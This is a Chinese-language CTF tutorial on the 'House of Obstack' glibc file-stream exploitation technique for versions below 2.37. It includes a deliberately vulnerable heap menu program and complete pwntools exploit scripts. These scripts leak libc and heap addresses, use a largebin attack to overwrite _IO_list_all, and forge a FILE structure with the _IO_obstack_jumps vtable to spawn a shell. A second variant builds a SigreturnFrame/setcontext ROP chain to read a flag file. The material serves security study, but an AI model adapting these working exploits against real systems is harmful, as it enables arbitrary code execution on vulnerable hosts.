高版本io利用之House of Obstack(shell及orw)

House of Obstack(shell及orw)

源码

House of Obstack也是一种非常好用的io利用方法,目前的适用范围是2.37以下,不包括2.37,因为glibc-2.37 起删除了 _IO_obstack_jumps 及其相关函数。这个攻击手段主要是利用_IO_obstack_jumps,其中_IO_obstack_overflow_IO_obstack_xsputn 都可以触发,攻击链如下

_IO_obstack_overflow
        obstack_1grow (obstack, c);
                _obstack_newchunk (__o, 1);  
                         new_chunk = CALL_CHUNKFUN (h, new_size);
                                     (*(h)->chunkfun)((h)->extra_arg, (size))

这是第一条调用链

_IO_obstack_xsputn
        obstack_grow (obstack, data, n);;
                _obstack_newchunk (__o, __len);
                         new_chunk = CALL_CHUNKFUN (h, new_size);
                                     (*(h)->chunkfun)((h)->extra_arg, (size))

实际过程中_IO_obstack_overflow容易触发assert (c != EOF); ,导致利用失败,所以一般选择第二条链。

我们来看一下_IO_obstack_jumps表里面

这个虚表中只有中只有2个函数有赋值,其他都为空。

/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, NULL),
  JUMP_INIT(overflow, _IO_obstack_overflow),
  JUMP_INIT(underflow, NULL),
  JUMP_INIT(uflow, NULL),
  JUMP_INIT(pbackfail, NULL),
  JUMP_INIT(xsputn, _IO_obstack_xsputn),
  JUMP_INIT(xsgetn, NULL),
  JUMP_INIT(seekoff, NULL),
  JUMP_INIT(seekpos, NULL),
  JUMP_INIT(setbuf, NULL),
  JUMP_INIT(sync, NULL),
  JUMP_INIT(doallocate, NULL),
  JUMP_INIT(read, NULL),
  JUMP_INIT(write, NULL),
  JUMP_INIT(seek, NULL),
  JUMP_INIT(close, NULL),
  JUMP_INIT(stat, NULL),
  JUMP_INIT(showmanyc, NULL),
  JUMP_INIT(imbue, NULL)
};

_IO_obstack_overflow_IO_obstack_xsputn两个函数内容如下。为了避免绕过_IO_obstack_overflow中的assert (c != EOF);我们一般用_IO_obstack_xsputn

static int _IO_obstack_overflow (FILE *fp, int c)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;
  int size;

  /* Make room for another character.  This might as well allocate a
     new chunk a memory and moves the old contents over.  */
  assert (c != EOF);  // 此处不可控
  obstack_1grow (obstack, c);

  /* Setup the buffer pointers again.  */
  fp->_IO_write_base = obstack_base (obstack);
  fp->_IO_write_ptr = obstack_next_free (obstack);
  size = obstack_room (obstack);
  fp->_IO_write_end = fp->_IO_write_ptr + size;
  /* Now allocate the rest of the current chunk.  */
  obstack_blank_fast (obstack, size);

  return c;
}
static size_t _IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

  if (fp->_IO_write_ptr + n > fp->_IO_write_end)
    {
      int size;

      /* We need some more memory.  First shrink the buffer to the
     space we really currently need.  */
      obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);

      /* Now grow for N bytes, and put the data there.  */
      obstack_grow (obstack, data, n); //执行此函数

      /* Setup the buffer pointers again.  */
      fp->_IO_write_base = obstack_base (obstack);
      fp->_IO_write_ptr = obstack_next_free (obstack);
      size = obstack_room (obstack);
      fp->_IO_write_end = fp->_IO_write_ptr + size;
      /* Now allocate the rest of the current chunk.  */
      obstack_blank_fast (obstack, size);
    }
  else
    fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);

  return n;
}

函数中的_IO_obstack_file只是在_IO_FILE_plus后面加了一个obstack的指针。

struct _IO_obstack_file
{
  struct _IO_FILE_plus file;
  struct obstack *obstack;
};

struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
                      chunk contains a zero-length object.  This
                      prevents freeing the chunk if we allocate
                      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
                     handler on error, but retained for binary
                     compatibility.  */
};

简单绕过一些内容后用运行到obstack_grow处,来调用_obstack_newchunk

obstack_grow(obstack, data, n);
定义: 
# define obstack_grow(OBSTACK, where, length)                     \
  __extension__                                   \
    ({ struct obstack *__o = (OBSTACK);                       \
       int __len = (length);                              \
       if (__o->next_free + __len > __o->chunk_limit)                \
     _obstack_newchunk (__o, __len);                      \
       memcpy (__o->next_free, where, __len);                      \
       __o->next_free += __len;                            \
       (void) 0; })
 替换: 
        ({
            struct obstack *__o = (obstack);
            int __len = (n);
            if (__o->next_free + __len > __o->chunk_limit)_obstack_newchunk(__o, __len);
            memcpy(__o->next_free, data, __len);
            __o->next_free += __len;
            (void) 0;
        });

之后触发CALL_CHUNKFUN

void _obstack_newchunk(struct obstack *h, int length) {
    struct _obstack_chunk *old_chunk = h->chunk;
    struct _obstack_chunk *new_chunk;
    long new_size;
    long obj_size = h->next_free - h->object_base;
    long i;
    long already;
    char *object_base;

    /* Compute size for new chunk.  */
    new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
    if (new_size < h->chunk_size)
        new_size = h->chunk_size;

    /* Allocate and initialize the new chunk.  */
    new_chunk = CALL_CHUNKFUN(h, new_size); // 调用函数位置
    ...
}

CALL_CHUNKFUN宏实际上是使用了结构体中的指针(*(h)->chunkfun)((h)->extra_arg, (size)),并且第一个参数可控,同时需要保证(((h)->use_extra_arg)为1

new_chunk = CALL_CHUNKFUN(h, new_size);
定义: 
#define CALL_CHUNKFUN(h, size)                          \
    (((h)->use_extra_arg)                               \
             ? (*(h)->chunkfun)((h)->extra_arg, (size)) \
             : (*(struct _obstack_chunk * (*) (long) )(h)->chunkfun)((size)))
替换: 
(((h)->use_extra_arg) ? (*(h)->chunkfun)((h)->extra_arg, (new_size)) : (*(struct _obstack_chunk *(*) (long) )(h)->chunkfun)((new_size)))

因此可以按下图所示方法构造:

shell

还是按照惯例给出pwn源码和exp的前段逆向

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/houseofobstack/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/houseofobstack/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))


def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))


def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)


def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))


dbg()
io.interactive()

那么前面在学习io的时候已经了解很多了,常规的泄露libc,堆地址这里不再赘述,直接放exp

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

# Free chunks to set up memory leak
free(2)
free(0)

# Leak libc address
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96)
info("libc base: " + hex(libc.address))

# Leak heap base address
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))

在拿到堆地址之后,使用largebin attack攻击_IO_list_all,把stderr结构体伪造到堆块上面,然后在堆块上面进行布局

add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(heap_base + 0x6d0) * 2)
add(2, 0x428)

指向堆块,这时堆块里面写入的,就会当做stderr结构体

file_addr = heap_base + 0x6d0

# Construct fake file structure
fake_file = b""
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(1)  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym["system"])#调用位置
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(next(libc.search(b"/bin/sh")))#参数
fake_file += p16(1)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset
fake_file += p64(0)  # _codecvt
fake_file += p64(0)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20)
fake_file += p64(file_addr + 0x30)

因为我们需要调用_IO_obstack_jumps,所以把虚表的位置填上这个虚表的地址

这里的两条调用链,我们正常放这个的话,会先调用到_IO_obstack_overflow,但是上面也说了,这条调用链其实并不稳定,那我们就要把偏移改一改,IO_obstack_overflow到IO_obstack_xsputn是0x20的偏移,这也就意味着,我们把偏移加上0x20,程序就会把现在的IO_obstack_xsputn当做原本的IO_obstack_overflow,先进行调用,这也就是虚表加上0x20的原因

然后是最后加上0x30,其实这个位置就是我们调用函数的参数位置file_addr + 0x30,也就是堆块地址加上0x30,然后取出其中加0x48的位置,这个就是相对于堆块偏移为0x78的地方,这里存的就是我们的bin/sh字符串

edit(2, fake_file)
edit(1, b'a' * 0x10 + p32(0xfbad1880))
io.sendafter(b"choice:", b"5")
io.interactive()

这样就可以拿到shell

orw

而对于orw来说,其实也就是调用的函数位置改成p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True))),然后这样就会调用到magic gadget

fake_file = b""
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(1)  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True)))  # FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(frame_addr)  # _old_offset
fake_file += p16(1)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset
fake_file += p64(0)  # _codecvt
fake_file += p64(0)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20)
fake_file += p64(file_addr + 0x30)

这里的rdi就是我们放在伪造的结构体最后的那一行fake_file += p64(file_addr + 0x30),本来应该这一行填什么,rdi里面就会是什么,这里填的就是堆块的地址偏移,然后经过这个gadget,写进了rdx里面

然后[rdx + 0x20]这一句,其实是进入rdx加上0x20的地址处,这里放的是frame结构体

frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']

frame = bytearray(bytes(frame))
frame[8:8 + 8] = p64(frame_addr)
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)

结构体里面对应的偏移填上setcontext就行,更具体的分析前面有相关文章介绍过,然后就都是模版了

最后给上orw的完整exp

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/houseofobstack/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/houseofobstack/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:", str(size).encode())

def free(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:", str(index).encode())

def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)

def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:", str(index).encode())

# Initialize chunks
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

# Free chunks to set up memory leak
free(2)
free(0)

# Leak libc address
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96)
info("libc base: " + hex(libc.address))

# Leak heap base address
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))

# Re-add chunk and edit to exploit
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(heap_base + 0x6d0) * 2)
add(2, 0x428)

# Prepare payload for fake file structure and ROP chain
file_addr = heap_base + 0x6d0
payload_addr = file_addr + 0x10
frame_addr = file_addr + 0xe8
rop_addr = frame_addr + 0xf8
buf_addr = rop_addr + 0x60

# Construct fake file structure
fake_file = b""
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(1)  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True)))  # FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(frame_addr)  # _old_offset
fake_file += p16(1)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset
fake_file += p64(0)  # _codecvt
fake_file += p64(0)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20)
fake_file += p64(file_addr + 0x30)


# Create SigreturnFrame for ROP chain
frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']

frame = bytearray(bytes(frame))
frame[8:8 + 8] = p64(frame_addr)
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)

# ROP chain
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0x100)
rop += p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])

# Construct full payload
payload = b""
payload += fake_file
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += frame
payload = payload.ljust(rop_addr - payload_addr, b'\x00')
payload += rop
payload = payload.ljust(buf_addr - payload_addr, b'\x00')
payload += b'./flag\x00'

edit(2, payload)
edit(1, b'a' * 0x10 + p32(0xfbad1880))

gdb.attach(io, "b _obstack_newchunk\nc")
io.sendafter(b"choice:", b"5")
io.interactive()

0 条评论
某人
表情
可输入 255